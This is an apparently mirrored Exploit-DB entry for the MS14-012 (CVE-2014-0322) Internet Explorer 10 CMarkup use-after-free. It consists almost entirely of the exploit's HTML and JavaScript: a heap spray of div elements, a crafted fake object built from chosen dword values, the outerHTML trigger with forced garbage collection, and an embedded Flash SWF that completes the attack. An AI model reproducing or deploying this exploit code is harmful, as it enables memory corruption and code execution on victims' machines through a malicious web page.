Microsoft Internet Explorer 10 – CMarkup Use-After-Free (MS14-012)

  • 作者： Jean-Jamil Khalife
    日期： 2014-04-14
  • 类别：
    平台：
  • 来源：https://www.exploit-db.com/exploits/32851/
  • <!--
 MS14-012 Internet Explorer CMarkup Use-After-Free
 Vendor Homepage: http://www.microsoft.com
 Version: IE 10
 Date: 2014-03-31 
 Exploit Author: Jean-Jamil Khalife
 Tested on: Windows 7 SP1 x64 (fr, en)
 Flash versions tested: Adobe Flash Player (12.0.0.70, 12.0.0.77)
 Home: http://www.hdwsec.fr
 Blog : http://www.hdwsec.fr/blog/
 MS14-012 / CVE-2014-0322

 Generation:
 	c:\mxmlc\bin>mxmlc.exe AsXploit.as -o AsXploit.swf

 Exploit-DB Mirror:https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/32851-AsXploit.as

-->

<html>
<head>
</head>
<body>

<script>

var g_arr = [];
var arrLen = 0x250;

function dword2data(dword)
{
	var d = Number(dword).toString(16);
	while (d.length < 8)
		d = '0' + d;

	return unescape('%u' + d.substr(4, 8) + '%u' + d.substr(0, 4));
}

function eXpl()
{
var a=0;

for (a=0; a < arrLen; a++) {
g_arr[a] = document.createElement('div');
}
	
	// Build a new object
	var b = dword2data(0x19fffff3);
while (b.length < 0x360)
	{
		// mov eax,dword ptr [esi+98h]
		// ...
		// mov eax,dword ptr [eax+8]
		// and dword ptr [eax+2F0h],0FFFFFFBFh
		if (b.length == (0x98 / 2))
		{
			b += dword2data(0x1a000010);
		}
		// mov ecx,dword ptr [edx+94h]
		// mov eax,dword ptr [ecx+0Ch]
		else if (b.length == (0x94 / 2))
		{
			b += dword2data(0x1a111111);
		}
		// mov eax,dword ptr [edx+15Ch]
		// mov ecx,dword ptr [eax+edx*8]
		else if (b.length == (0x15c / 2))
		{
			b += dword2data(0x42424242);
		}
		else
		{
			b += dword2data(0x19fffff3);
		}
	}

	var d = b.substring(0, ( 0x340 - 2 )/2);

	// trigger
	try{
this.outerHTML=this.outerHTML
} 
	catch(e){
		
	}
	
CollectGarbage();

	// Replace freed object
for (a=0; a < arrLen; a++)
{
g_arr[a].title = d.substring(0, d.length);
}
}

// Trigger the vulnerability
function trigger()
{
var a = document.getElementsByTagName("script");
var b = a[0];
b.onpropertychange = eXpl;
var c = document.createElement('SELECT');
c = b.appendChild(c);
}



</script>
<embed src=AsXploit.swf width="10" height="10"></embed>
</body>
</html>